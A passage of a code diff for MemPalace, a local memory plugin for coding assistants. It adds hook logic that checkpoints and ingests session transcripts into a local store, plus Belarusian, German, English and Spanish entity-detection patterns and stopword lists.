             ext = filepath.suffix.lower()
             if ext in PROSE_EXTENSIONS:
                 prose_files.append(filepath)

mempalace/hooks_cli.py

@@ -17,22 +17,54 @@ from pathlib import Path
 SAVE_INTERVAL = 15
 STATE_DIR = Path.home() / ".mempalace" / "hook_state"
 
+
+def _mempalace_python() -> str:
+    """Return the python interpreter that has mempalace installed.
+
+    When hooks are invoked by Claude Code, sys.executable may be the system
+    python which lacks chromadb and other deps.  Resolution order:
+    1. MEMPALACE_PYTHON env var (explicit override)
+    2. Venv python from package install path
+    3. Editable install: venv/ sibling to mempalace/
+    4. sys.executable fallback
+    """
+    # Honor explicit override (used by shell hook wrappers)
+    env_python = os.environ.get("MEMPALACE_PYTHON", "")
+    if env_python and os.path.isfile(env_python) and os.access(env_python, os.X_OK):
+        return env_python
+    # This file lives at <venv>/lib/pythonX.Y/site-packages/mempalace/hooks_cli.py
+    # or <project>/mempalace/hooks_cli.py (editable install).
+    venv_bin = Path(__file__).resolve().parents[3] / "bin" / "python"
+    if venv_bin.is_file():
+        return str(venv_bin)
+    # Editable install: assumes project root has a venv/ sibling to mempalace/
+    project_venv = Path(__file__).resolve().parents[1] / "venv" / "bin" / "python"
+    if project_venv.is_file():
+        return str(project_venv)
+    return sys.executable
+
+
+_RECENT_MSG_COUNT = 30  # how many recent user messages to summarize
+
 STOP_BLOCK_REASON = (
     "AUTO-SAVE checkpoint (MemPalace). Save this session's key content:\n"
-    "1. mempalace_diary_write — AAAK-compressed session summary\n"
-    "2. mempalace_add_drawer — verbatim quotes, decisions, code snippets\n"
+    "1. mempalace_diary_write — session summary (what was discussed, "
+    "key decisions, current state of work)\n"
+    "2. mempalace_add_drawer — verbatim quotes, decisions, code snippets "
+    "(place in appropriate wing and room)\n"
     "3. mempalace_kg_add — entity relationships (optional)\n"
-    "Do NOT write to Claude Code's native auto-memory (.md files). "
-    "Continue conversation after saving."
+    "For THIS save, use MemPalace MCP tools only (not auto-memory .md files). "
+    "Use verbatim quotes where possible. Continue conversation after saving."
 )
 
 PRECOMPACT_BLOCK_REASON = (
     "COMPACTION IMMINENT (MemPalace). Save ALL session content before context is lost:\n"
-    "1. mempalace_diary_write — thorough AAAK-compressed session summary\n"
-    "2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context\n"
+    "1. mempalace_diary_write — thorough session summary\n"
+    "2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context "
+    "(place each in appropriate wing and room)\n"
     "3. mempalace_kg_add — entity relationships (optional)\n"
-    "Be thorough \u2014 after compaction, detailed context will be lost. "
-    "Do NOT write to Claude Code's native auto-memory (.md files). "
+    "For THIS save, use MemPalace MCP tools only (not auto-memory .md files). "
+    "Be thorough — after compaction this is all that survives. "
     "Save everything to MemPalace, then allow compaction to proceed."
 )
 
@@ -134,8 +166,35 @@ def _log(message: str):
 
 
 def _output(data: dict):
-    """Print JSON to stdout with consistent formatting (pretty-printed)."""
-    print(json.dumps(data, indent=2, ensure_ascii=False))
+    """Print JSON to stdout without importing modules that may redirect streams.
+
+    If mempalace.mcp_server is already loaded, reuse its saved real stdout fd.
+    Otherwise, write directly to fd 1 so hook responses still go to stdout even
+    if sys.stdout has been redirected elsewhere.
+    """
+    payload = (json.dumps(data, indent=2, ensure_ascii=False) + "\n").encode("utf-8")
+
+    real_stdout_fd: int | None = None
+    mcp_mod = sys.modules.get("mempalace.mcp_server") or sys.modules.get(
+        f"{__package__}.mcp_server" if __package__ else "mcp_server"
+    )
+    if mcp_mod is not None:
+        real_stdout_fd = getattr(mcp_mod, "_REAL_STDOUT_FD", None)
+
+    fd = real_stdout_fd if real_stdout_fd is not None else 1
+    offset = 0
+    try:
+        while offset < len(payload):
+            try:
+                offset += os.write(fd, payload[offset:])
+            except InterruptedError:
+                continue
+        return
+    except OSError:
+        pass
+
+    sys.stdout.buffer.write(payload)
+    sys.stdout.buffer.flush()
 
 
 def _get_mine_dir(transcript_path: str = "") -> str:
@@ -150,20 +209,70 @@ def _get_mine_dir(transcript_path: str = "") -> str:
     return ""
 
 
+_MINE_PID_FILE = STATE_DIR / "mine.pid"
+
+
+def _pid_alive(pid: int) -> bool:
+    """Cross-platform existence check for a PID.
+
+    On POSIX, ``os.kill(pid, 0)`` is the well-known no-op existence probe.
+    On Windows, ``os.kill`` maps to ``TerminateProcess(handle, sig)`` and
+    would *terminate* the target process with exit code ``sig`` — using
+    it here would kill our own mine child (or worse, the caller itself).
+    Use ``OpenProcess`` + ``GetExitCodeProcess`` via ctypes instead.
+    """
+    if sys.platform == "win32":
+        import ctypes
+        from ctypes import wintypes
+
+        PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
+        STILL_ACTIVE = 259
+        kernel32 = ctypes.windll.kernel32
+        handle = kernel32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pid)
+        if not handle:
+            return False
+        try:
+            code = wintypes.DWORD()
+            if not kernel32.GetExitCodeProcess(handle, ctypes.byref(code)):
+                return False
+            return code.value == STILL_ACTIVE
+        finally:
+            kernel32.CloseHandle(handle)
+    try:
+        os.kill(pid, 0)
+        return True
+    except (OSError, ValueError):
+        return False
+
+
+def _mine_already_running() -> bool:
+    """Return True if a background mine process from a previous hook fire is still alive."""
+    try:
+        pid = int(_MINE_PID_FILE.read_text().strip())
+    except (OSError, ValueError):
+        return False
+    return _pid_alive(pid)
+
+
+def _spawn_mine(cmd: list) -> None:
+    """Spawn a mine subprocess, write its PID to the lock file, log to hook.log."""
+    STATE_DIR.mkdir(parents=True, exist_ok=True)
+    log_path = STATE_DIR / "hook.log"
+    with open(log_path, "a") as log_f:
+        proc = subprocess.Popen(cmd, stdout=log_f, stderr=log_f)
+    _MINE_PID_FILE.write_text(str(proc.pid))
+
+
 def _maybe_auto_ingest(transcript_path: str = ""):
     """Run mempalace mine in background if a mine directory is available."""
     mine_dir = _get_mine_dir(transcript_path)
     if not mine_dir:
         return
+    if _mine_already_running():
+        _log("Skipping auto-ingest: mine already running")
+        return
     try:
-        STATE_DIR.mkdir(parents=True, exist_ok=True)
-        log_path = STATE_DIR / "hook.log"
-        with open(log_path, "a") as log_f:
-            subprocess.Popen(
-                [sys.executable, "-m", "mempalace", "mine", mine_dir],
-                stdout=log_f,
-                stderr=log_f,
-            )
+        _spawn_mine([sys.executable, "-m", "mempalace", "mine", mine_dir])
     except OSError:
         pass
 
@@ -187,6 +296,182 @@ def _mine_sync(transcript_path: str = ""):
         pass
 
 
+def _desktop_toast(body: str, title: str = "MemPalace"):
+    """Send a desktop notification via notify-send. Fails silently."""
+    try:
+        subprocess.Popen(
+            ["notify-send", "--app-name=MemPalace", "--icon=brain", title, body],
+            stdout=subprocess.DEVNULL,
+            stderr=subprocess.DEVNULL,
+        )
+    except OSError:
+        pass
+
+
+def _extract_recent_messages(transcript_path: str, count: int = _RECENT_MSG_COUNT) -> list[str]:
+    """Extract the last N user messages from a JSONL transcript."""
+    path = Path(transcript_path).expanduser()
+    if not path.is_file():
+        return []
+    messages = []
+    try:
+        with open(path, encoding="utf-8", errors="replace") as f:
+            for line in f:
+                try:
+                    entry = json.loads(line)
+                    # Claude Code format
+                    msg = entry.get("message") or entry.get("event_message") or {}
+                    if isinstance(msg, dict) and msg.get("role") == "user":
+                        content = msg.get("content", "")
+                        if isinstance(content, list):
+                            content = " ".join(
+                                b.get("text", "") for b in content if isinstance(b, dict)
+                            )
+                        if not isinstance(content, str) or not content.strip():
+                            continue
+                        if "<command-message>" in content or "<system-reminder>" in content:
+                            continue
+                        messages.append(content.strip()[:200])
+                    # Codex CLI format
+                    elif entry.get("type") == "event_msg":
+                        payload = entry.get("payload", {})
+                        if isinstance(payload, dict) and payload.get("type") == "user_message":
+                            text = payload.get("message", "")
+                            if isinstance(text, str) and text.strip():
+                                if "<command-message>" not in text:
+                                    messages.append(text.strip()[:200])
+                except (json.JSONDecodeError, AttributeError):
+                    pass
+    except OSError:
+        return []
+    return messages[-count:]
+
+
+_THEME_STOPWORDS = frozenset(
+    "the a an and or but in on at to for of is it i me my you your we our "
+    "this that with from by was were be been are not no yes can do did dont "
+    "will would should could have has had lets let just also like so if then "
+    "ok okay sure yeah hey hi here there what when where how why which some "
+    "all any each every about into out up down over after before between "
+    "get got make made need want use used using check look see run try "
+    "know think right now still already really very much more most too "
+    "file files code one two new first last next thing things way well".split()
+)
+
+
+def _extract_themes(messages: list[str], max_themes: int = 3) -> list[str]:
+    """Pull 2-3 distinctive topic words from recent messages.
+
+    Note: stopword list is English-only; non-English corpora will produce noisy themes.
+    """
+    from collections import Counter
+
+    words: Counter[str] = Counter()
+    for msg in messages:
+        for word in msg.lower().split():
+            # Strip punctuation, keep words 4+ chars
+            clean = word.strip(".,;:!?\"'`()[]{}#<>/\\-_=+@$%^&*~")
+            if len(clean) >= 4 and clean not in _THEME_STOPWORDS and clean.isalpha():
+                words[clean] += 1
+    return [w for w, _ in words.most_common(max_themes)]
+
+
+def _save_diary_direct(
+    transcript_path: str,
+    session_id: str,
+    wing: str = "",
+    toast: bool = False,
+) -> dict:
+    """Write a diary checkpoint by calling the tool function directly (no MCP roundtrip).
+
+    If `wing` is set, the entry lands in that wing (typically the project wing
+    derived from the transcript path). Otherwise falls back to `tool_diary_write`'s
+    default of `wing_session-hook`.
+
+    Returns {"count": N, "themes": [...]} on success, {"count": 0} on failure.
+    """
+    messages = _extract_recent_messages(transcript_path)
+    if not messages:
+        _log("No recent messages to save")
+        return {"count": 0}
+
+    themes = _extract_themes(messages)
+
+    # Build a compressed diary entry from recent conversation
+    now = datetime.now()
+    topics = "|".join(m[:80] for m in messages[-10:])
+    entry = (
+        f"CHECKPOINT:{now.strftime('%Y-%m-%d')}|session:{session_id}"
+        f"|msgs:{len(messages)}|recent:{topics}"
+    )
+
+    try:
+        from .mcp_server import tool_diary_write
+
+        result = tool_diary_write(
+            agent_name="session-hook",
+            entry=entry,
+            topic="checkpoint",
+            wing=wing,
+        )
+        if result.get("success"):
+            _log(f"Diary checkpoint saved: {result.get('entry_id', '?')}")
+            # Write state for ack tool to read
+            try:
+                ack_file = STATE_DIR / "last_checkpoint"
+                ack_file.write_text(
+                    json.dumps({"msgs": len(messages), "ts": now.isoformat()}),
+                    encoding="utf-8",
+                )
+            except OSError:
+                pass
+            if toast:
+                _desktop_toast(f"Checkpoint saved \u2014 {len(messages)} messages archived")
+            return {"count": len(messages), "themes": themes}
+        else:
+            _log(f"Diary checkpoint failed: {result.get('error', 'unknown')}")
+    except Exception as e:
+        _log(f"Diary checkpoint error: {e}")
+    return {"count": 0}
+
+
+def _ingest_transcript(transcript_path: str):
+    """Mine a Claude Code session transcript into the palace as a conversation."""
+    path = Path(transcript_path).expanduser()
+    if not path.is_file() or path.stat().st_size < 100:
+        return
+
+    from .config import MempalaceConfig
+
+    try:
+        MempalaceConfig()  # validate config loads
+    except Exception:
+        return
+
+    try:
+        log_path = STATE_DIR / "hook.log"
+        STATE_DIR.mkdir(parents=True, exist_ok=True)
+        with open(log_path, "a") as log_f:
+            subprocess.Popen(
+                [
+                    _mempalace_python(),
+                    "-m",
+                    "mempalace",
+                    "mine",
+                    str(path.parent),
+                    "--mode",
+                    "convos",
+                    "--wing",
+                    "sessions",
+                ],
+                stdout=log_f,
+                stderr=log_f,
+            )
+        _log(f"Transcript ingest started: {path.name}")
+    except OSError:
+        pass
+
+
 SUPPORTED_HARNESSES = {"claude-code", "codex"}
 
 
@@ -202,6 +487,39 @@ def _parse_harness_input(data: dict, harness: str) -> dict:
     }
 
 
+def _wing_from_transcript_path(transcript_path: str) -> str:
+    """Derive a project wing name from a Claude Code transcript path.
+
+    Claude Code encodes the project's source directory by replacing path
+    separators with dashes, producing folders like:
+        ~/.claude/projects/-home-<user>-Projects-<project>/session.jsonl
+        ~/.claude/projects/-home-<user>-dev-<parent>-<project>/session.jsonl
+        ~/.claude/projects/-Users-<user>-<folder>-<project>/session.jsonl
+
+    The project directory name is the final dash-separated token of the
+    encoded folder. Returns ``wing_<project>`` (lowercased, spaces → ``_``).
+    Falls back to ``wing_sessions`` if the path does not match a Claude Code
+    project-folder layout.
+    """
+    # Normalize path separators for cross-platform (Windows backslashes)
+    normalized = transcript_path.replace("\\", "/")
+    # Primary: pull the encoded project folder out of ``.claude/projects/``
+    # and take its last dash-separated token.
+    match = re.search(r"/\.claude/projects/-([^/]+)", normalized)
+    if match:
+        encoded = match.group(1)
+        project = encoded.rsplit("-", 1)[-1]
+        if project:
+            return f"wing_{project.lower().replace(' ', '_')}"
+    # Legacy fallback: explicit ``-Projects-<name>`` segment, useful for
+    # transcripts not under the standard Claude Code projects dir.
+    match = re.search(r"-Projects-([^/]+?)(?:/|$)", normalized)
+    if match:
+        project = match.group(1).lower().replace(" ", "_")
+        return f"wing_{project}"
+    return "wing_sessions"
+
+
 def hook_stop(data: dict, harness: str):
     """Stop hook: block every N messages for auto-save."""
     parsed = _parse_harness_input(data, harness)
@@ -209,10 +527,29 @@ def hook_stop(data: dict, harness: str):
     stop_hook_active = parsed["stop_hook_active"]
     transcript_path = parsed["transcript_path"]
 
-    # If already in a save cycle, let through (infinite-loop prevention)
+    # If already in a block-mode save cycle, let through (infinite-loop prevention).
+    # Silent mode saves directly without returning {"decision":"block"}, so there's
+    # no loop to prevent — and Claude Code's plugin dispatch sets this flag on every
+    # fire after the first, which would otherwise suppress all subsequent auto-saves.
     if str(stop_hook_active).lower() in ("true", "1", "yes"):
-        _output({})
-        return
+        # Safe default: assume silent mode on any config-read failure so saves
+        # proceed rather than being silently dropped. Silent mode is the default
+        # (v3.3.0+), so if we can't read config, behave as if it's still on.
+        silent_guard = True
+        try:
+            from .config import MempalaceConfig
+        except ImportError as exc:
+            _log(
+                f"WARNING: could not import MempalaceConfig for stop guard: {exc}; defaulting to silent mode"
+            )
+        else:
+            try:
+                silent_guard = MempalaceConfig().hook_silent_save
+            except AttributeError as exc:
+                _log(f"WARNING: could not read hook_silent_save: {exc}; defaulting to silent mode")
+        if not silent_guard:
+            _output({})
+            return
 
     # Count human messages
     exchange_count = _count_human_messages(transcript_path)
@@ -232,18 +569,62 @@ def hook_stop(data: dict, harness: str):
     _log(f"Session {session_id}: {exchange_count} exchanges, {since_last} since last save")
 
     if since_last >= SAVE_INTERVAL and exchange_count > 0:
-        # Update last save point
-        try:
-            last_save_file.write_text(str(exchange_count), encoding="utf-8")
-        except OSError:
-            pass
-
         _log(f"TRIGGERING SAVE at exchange {exchange_count}")
 
-        # Optional: auto-ingest if MEMPAL_DIR is set
-        _maybe_auto_ingest(transcript_path)
+        # Read hook settings from config
+        from .config import MempalaceConfig
 
-        _output({"decision": "block", "reason": STOP_BLOCK_REASON})
+        try:
+            config = MempalaceConfig()
+            silent = config.hook_silent_save
+            toast = config.hook_desktop_toast
+        except Exception:
+            silent = True
+            toast = False
+
+        project_wing = _wing_from_transcript_path(transcript_path)
+
+        if silent:
+            # Save directly via Python API — systemMessage renders in terminal
+            result = {"count": 0}
+            if transcript_path:
+                result = _save_diary_direct(
+                    transcript_path, session_id, wing=project_wing, toast=toast
+                )
+                _ingest_transcript(transcript_path)
+            _maybe_auto_ingest(transcript_path)
+            # Only advance save marker after successful save
+            count = result.get("count", 0)
+            if count > 0:
+                try:
+                    last_save_file.write_text(str(exchange_count), encoding="utf-8")
+                except OSError:
+                    pass
+                themes = result.get("themes", [])
+                if themes:
+                    tag = " \u2014 " + ", ".join(themes)
+                else:
+                    tag = ""
+                _output(
+                    {
+                        "systemMessage": f"\u2726 {count} memories woven into the palace{tag}",
+                    }
+                )
+            else:
+                _output({})
+        else:
+            # Legacy: block and ask Claude to save via MCP tools.
+            # Marker advances before confirmed save — best-effort; if Claude
+            # fails to save, the checkpoint is lost but won't retry endlessly.
+            try:
+                last_save_file.write_text(str(exchange_count), encoding="utf-8")
+            except OSError:
+                pass
+            if transcript_path:
+                _ingest_transcript(transcript_path)
+            _maybe_auto_ingest(transcript_path)
+            reason = STOP_BLOCK_REASON + f" Write diary entry to wing={project_wing}."
+            _output({"decision": "block", "reason": reason})
     else:
         _output({})
 
@@ -270,6 +651,10 @@ def hook_precompact(data: dict, harness: str):
 
     _log(f"PRE-COMPACT triggered for session {session_id}")
 
+    # Capture tool output via our normalize path before compaction loses it
+    if transcript_path:
+        _ingest_transcript(transcript_path)
+
     # Mine synchronously so data lands before compaction proceeds
     _mine_sync(transcript_path)
 

mempalace/i18n/be.json

@@ -0,0 +1,166 @@
+{
+  "lang": "be",
+  "label": "Беларуская",
+  "terms": {
+    "palace": "палац",
+    "wing": "крыло",
+    "hall": "зала",
+    "closet": "шафа",
+    "drawer": "шуфляда",
+    "mine": "майнінг",
+    "search": "пошук",
+    "status": "статус",
+    "init": "ініцыялізацыя",
+    "repair": "аднаўленне",
+    "migrate": "міграцыя",
+    "entity": "аб'ект",
+    "topic": "тэма"
+  },
+  "cli": {
+    "mine_start": "Майнінг {path}...",
+    "mine_complete": "Гатова. Створана шаф: {closets}, шуфляд: {drawers}.",
+    "mine_skip": "Майнінг скончаны. Выкарыстайце --force, каб перамайніць.",
+    "search_no_results": "Няма вынікаў для: {query}",
+    "search_results": "Знойдзена {count} вынікаў:",
+    "status_palace": "Палац: {path}",
+    "status_wings": "Крылаў: {count}",
+    "status_closets": "Шаф: {count}",
+    "status_drawers": "Шуфляд: {count}",
+    "init_complete": "Палац ініцыялізаваны ў {path}",
+    "init_exists": "Палац ужо існуе ў {path}",
+    "repair_complete": "Аднаўленне скончана. Выпраўлена праблем: {fixed}.",
+    "migrate_complete": "Міграцыя завершана.",
+    "no_palace": "Палац не знойдзены. Запусціце: mempalace init <дырэкторыя>"
+  },
+  "aaak": {
+    "instruction": "Сцісні да фармату індэкса. Злучкі паміж словамі, вертыкальныя рысы паміж паняткамі. Выдалі падставы і службовыя словы. Захавай дакладнасць імёнаў, нумароў, скланенняў і формаў."
+  },
+  "regex": {
+    "topic_pattern": "[А-ЯЁІЎ][а-яёіў]{2,}|[A-Z][a-z]{2,}|[A-Za-z][A-Za-z0-9_]{2,}",
+    "stop_words": "і а але бо каб калі калісьці хоць што хто дзе куды адкуль як чаму таму ж не ні так таксама яшчэ ўжо цяпер потым тут там адсюль туды ў на па з са без для над пад пры пра праз супраць замест акрамя сярод вакол уздоўж каля паміж пасля перад да ад у або альбо то ці быццам нібыта вось гэты гэта гэтыя той тая тыя некаторыя кожны кожная кожныя толькі вельмі можа трэба будзе быў была былі ёсць няма",
+    "quote_pattern": "«\\s*([^»]{10,200})\\s*»|\"([^\"]{10,200})\"",
+    "action_pattern": "(?:зрабіў|зрабіла|зрабілі|стварыў|стварыла|стварылі|дадаў|дадала|дадалі|абнавіў|абнавіла|абнавілі|наладзіў|наладзіла|наладзілі|пратэставаў|пратэставала|пратэставалі)\\s+[\\wа-яёА-ЯЁІіЎў\\s]{3,30}"
+  },
+  "entity": {
+    "candidate_pattern": "[А-ЯЁІЎ][а-яёіў]{1,19}",
+    "multi_word_pattern": "[А-ЯЁІЎ][а-яёіў]+(?:\\s+[А-ЯЁІЎ][а-яёіў]+)+",
+    "person_verb_patterns": [
+      "\\b{name}\\s+сказа(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+спыта(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+адказа(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+расказа(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+засмея(?:ўся|лася|ліся)\\b",
+      "\\b{name}\\s+усміхну(?:ўся|лася|ліся)\\b",
+      "\\b{name}\\s+заплака(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+адчу(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+думае\\b",
+      "\\b{name}\\s+хоча\\b",
+      "\\b{name}\\s+кахае\\b",
+      "\\b{name}\\s+ненавідзіць\\b",
+      "\\b{name}\\s+ведае\\b",
+      "\\b{name}\\s+вырашы(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+напіса(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+каза(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+зрабі(?:ў|ла|лі)\\b",
+      "\\b{name}\\s+спытваецца\\b",
+      "\\b{name}\\s+адказвае\\b"
+    ],
+    "pronoun_patterns": [
+      "\\bён\\b",
+      "\\bяго\\b",
+      "\\bяму\\b",
+      "\\bім\\b",
+      "\\bяна\\b",
+      "\\bяе\\b",
+      "\\bёй\\b",
+      "\\bёю\\b",
+      "\\bяны\\b",
+      "\\bіх\\b",
+      "\\bімі\\b",
+      "\\bяно\\b",
+      "\\bвы\\b",
+      "\\bвас\\b",
+      "\\bвам\\b",
+      "\\bвамі\\b"
+    ],
+    "dialogue_patterns": [
+      "^>\\s*{name}[:\\s]",
+      "^{name}:\\s",
+      "^\\[{name}\\]",
+      "\"{name}\\s+сказа(?:ў|ла|лі)"
+    ],
+    "direct_address_pattern": "\\bпрывітанне[,:!.]?\\s+{name}\\b|\\bвітаю[,:!.]?\\s+{name}\\b|\\bдзякуй[,:!.]?\\s+{name}\\b|\\bдарагі[,:!.]?\\s+{name}\\b|\\bдарагая[,:!.]?\\s+{name}\\b|\\bпаважаны[,:!.]?\\s+{name}\\b|\\bпаважаная[,:!.]?\\s+{name}\\b",
+    "project_verb_patterns": [
+      "\\bзбіраю\\s+{name}\\b",
+      "\\bсабраў\\s+{name}\\b",
+      "\\bзапускаю\\s+{name}\\b",
+      "\\bзапусціў\\s+{name}\\b",
+      "\\bразгарнуў\\s+{name}\\b",
+      "\\bусталяваў\\s+{name}\\b",
+      "\\bсістэма\\s+{name}\\b",
+      "\\bпраект\\s+{name}\\b",
+      "\\bimport\\s+{name}\\b",
+      "\\bpip\\s+install\\s+{name}\\b"
+    ],
+    "stopwords": [
+      "і",
+      "ў",
+      "з",
+      "са",
+      "на",
+      "па",
+      "да",
+      "ад",
+      "у",
+      "без",
+      "для",
+      "над",
+      "пад",
+      "пры",
+      "пра",
+      "праз",
+      "супраць",
+      "замест",
+      "акрамя",
+      "сярод",
+      "вакол",
+      "уздоўж",
+      "каля",
+      "паміж",
+      "пасля",
+      "перад",
+      "або",
+      "альбо",
+      "каб",
+      "калі",
+      "хоць",
+      "бо",
+      "ж",
+      "не",
+      "ні",
+      "так",
+      "яшчэ",
+      "ужо",
+      "цяпер",
+      "вось",
+      "гэта",
+      "тое",
+      "тут",
+      "там",
+      "вельмі",
+      "толькі",
+      "можа",
+      "трэба",
+      "ёсць",
+      "няма",
+      "як",
+      "што",
+      "хто",
+      "чаму",
+      "таму",
+      "прывітанне",
+      "дзякуй",
+      "ласка"
+    ]
+  }
+}

mempalace/i18n/de.json

@@ -40,5 +40,87 @@
     "stop_words": "der die das ein eine eines einer einem einen den dem des und oder aber denn weil wenn als ob auch noch schon sehr viel nur nicht mehr kann wird hat ist sind war waren sein haben wurde mit von zu für auf in an um über nach durch",
     "quote_pattern": "\\u201E([^\\u201C]{10,200})\\u201C|\"([^\"]{10,200})\"",
     "action_pattern": "(?:gebaut|behoben|geschrieben|hinzugefügt|gepusht|gemessen|getestet|überprüft|erstellt|gelöscht|aktualisiert|konfiguriert|bereitgestellt|migriert)\\s+[\\wÄÖÜäöüß\\s]{3,30}"
+  },
+  "entity": {
+    "candidate_pattern": "[A-ZÄÖÜ][a-zäöüß]{1,19}",
+    "multi_word_pattern": "[A-ZÄÖÜ][a-zäöüß]+(?:\\s+[A-ZÄÖÜ][a-zäöüß]+)+",
+    "person_verb_patterns": [
+      "\\b{name}\\s+sagte\\b",
+      "\\b{name}\\s+fragte\\b",
+      "\\b{name}\\s+antwortete\\b",
+      "\\b{name}\\s+erzählte\\b",
+      "\\b{name}\\s+lachte\\b",
+      "\\b{name}\\s+lächelte\\b",
+      "\\b{name}\\s+weinte\\b",
+      "\\b{name}\\s+fühlte\\b",
+      "\\b{name}\\s+denkt\\b",
+      "\\b{name}\\s+will\\b",
+      "\\b{name}\\s+liebt\\b",
+      "\\b{name}\\s+hasst\\b",
+      "\\b{name}\\s+weiß\\b",
+      "\\b{name}\\s+entschied\\b",
+      "\\b{name}\\s+schrieb\\b"
+    ],
+    "pronoun_patterns": [
+      "\\ber\\b",
+      "\\bsie\\b",
+      "\\bes\\b",
+      "\\bihn\\b",
+      "\\bihm\\b",
+      "\\bihr\\b",
+      "\\bsein\\b",
+      "\\bihre\\b",
+      "\\bihnen\\b"
+    ],
+    "dialogue_patterns": [
+      "^>\\s*{name}[:\\s]",
+      "^{name}:\\s",
+      "^\\[{name}\\]",
+      "\"{name}\\s+sagte"
+    ],
+    "direct_address_pattern": "\\bhallo\\s+{name}\\b|\\bhi\\s+{name}\\b|\\bhey\\s+{name}\\b|\\bdanke\\s+{name}\\b|\\bservus\\s+{name}\\b|\\blieber\\s+{name}\\b|\\bliebe\\s+{name}\\b|\\bsehr\\s+geehrter\\s+{name}\\b|\\bsehr\\s+geehrte\\s+{name}\\b",
+    "project_verb_patterns": [
+      "\\bbaue\\s+{name}\\b",
+      "\\bgebaut\\s+{name}\\b",
+      "\\bstarte\\s+{name}\\b",
+      "\\bgestartet\\s+{name}\\b",
+      "\\bdeploye\\s+{name}\\b",
+      "\\binstalliert\\s+{name}\\b",
+      "\\bdie\\s+{name}\\s+architektur\\b",
+      "\\bdie\\s+{name}\\s+pipeline\\b",
+      "\\bdas\\s+{name}\\s+system\\b",
+      "\\bdas\\s+{name}\\s+repository\\b",
+      "\\b{name}\\s+v\\d+\\b",
+      "\\b{name}\\.py\\b",
+      "\\bimport\\s+{name}\\b",
+      "\\bpip\\s+install\\s+{name}\\b"
+    ],
+    "stopwords": [
+      "der", "die", "das", "ein", "eine", "eines", "einer", "einem", "einen",
+      "den", "dem", "des", "und", "oder", "aber", "denn", "weil", "wenn", "als",
+      "ob", "auch", "noch", "schon", "sehr", "viel", "nur", "nicht", "mehr",
+      "kann", "wird", "hat", "ist", "sind", "war", "waren", "sein", "haben",
+      "wurde", "worden", "werden", "mit", "von", "zu", "für", "auf", "in",
+      "an", "um", "über", "nach", "durch", "bei", "aus", "seit", "vor", "zwischen",
+      "ich", "du", "er", "sie", "es", "wir", "ihr", "mich", "dich", "mir", "dir",
+      "uns", "euch", "mein", "dein", "unser", "euer", "ihre", "seine",
+      "wer", "was", "wann", "wo", "wie", "warum", "welcher", "welche", "welches",
+      "so", "dann", "jetzt", "heute", "gestern", "morgen", "hier", "dort", "da",
+      "immer", "nie", "manchmal", "oft", "selten", "bald", "spät",
+      "ja", "nein", "vielleicht", "gut", "schlecht", "besser", "bitte", "danke",
+      "hallo", "hi", "hey", "tschüss",
+      "tag", "tage", "woche", "monat", "jahr", "jahre", "zeit", "welt", "leben",
+      "mensch", "menschen", "leute", "person", "ding", "dinge", "sache", "sachen",
+      "teil", "art", "weise", "stelle", "platz", "ort", "zimmer", "haus", "land",
+      "grund", "frage", "antwort", "fakt", "sinn", "idee", "punkt", "fall", "aspekt",
+      "beispiel", "version", "nummer", "zahl", "name", "namen", "system", "modell",
+      "sprache", "technologie", "gesellschaft", "kultur", "geschichte",
+      "wissenschaft", "zukunft", "erinnerung", "gedächtnis",
+      "datei", "ordner", "pfad", "schlüssel", "wert", "fehler", "warnung",
+      "ergebnis", "eingabe", "ausgabe", "quelle", "ziel", "daten", "elemente",
+      "montag", "dienstag", "mittwoch", "donnerstag", "freitag", "samstag", "sonntag",
+      "januar", "februar", "märz", "april", "mai", "juni", "juli", "august",
+      "september", "oktober", "november", "dezember"
+    ]
   }
 }

mempalace/i18n/en.json

@@ -42,7 +42,7 @@
     "action_pattern": "(?:built|fixed|wrote|added|pushed|measured|tested|reviewed|created|deleted|updated|configured|deployed|migrated)\\s+[\\w\\s]{3,30}"
   },
   "entity": {
-    "candidate_pattern": "[A-Z][a-z]{1,19}",
+    "candidate_pattern": "[A-Z][a-z]+(?:[A-Z][a-z]+|[A-Z]{2,})+|[A-Z][a-z]{1,19}",
     "multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+",
     "person_verb_patterns": [
       "\\b{name}\\s+said\\b",
@@ -140,7 +140,17 @@
       "agents", "tools", "others", "guards", "ethics", "regulation",
       "learning", "thinking", "memory", "language", "intelligence",
       "technology", "society", "culture", "future", "history", "science",
-      "model", "models", "network", "networks", "training", "inference"
+      "model", "models", "network", "networks", "training", "inference",
+      "created", "updated", "deleted", "added", "removed", "modified",
+      "extracted", "processed", "generated", "compiled", "launched", "installed",
+      "deployed", "executed", "loaded", "parsed", "validated", "configured",
+      "total", "summary", "covered", "included", "pending", "failed", "success",
+      "ready", "active", "disabled", "enabled", "available", "completed",
+      "auto", "multi", "mini", "micro", "meta", "super", "hybrid",
+      "context", "bridge", "batch", "local", "global", "native", "cloud",
+      "before", "after", "during", "often", "always", "never",
+      "project", "contributor", "software",
+      "backend", "frontend", "server", "client", "service", "app", "api"
     ]
   }
 }

mempalace/i18n/es.json

@@ -40,5 +40,89 @@
     "stop_words": "el la los las un una unos unas de del al en con por para su sus mi mis tu tus es son está están fue ser estar haber sido como pero más muy también todo todos toda todas este esta estos estas ese esa esos esas que quien cual donde cuando porque aunque sin",
     "quote_pattern": "\"([^\"]{10,200})\"|«([^»]{10,200})»",
     "action_pattern": "(?:construido|corregido|escrito|añadido|enviado|medido|probado|revisado|creado|eliminado|actualizado|configurado|desplegado|migrado)\\s+[\\wá-ú\\s]{3,30}"
+  },
+  "entity": {
+    "candidate_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]{1,19}",
+    "multi_word_pattern": "[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+(?:\\s+[A-ZÁÉÍÓÚÑÜ][a-záéíóúñü]+)+",
+    "person_verb_patterns": [
+      "\\b{name}\\s+dijo\\b",
+      "\\b{name}\\s+preguntó\\b",
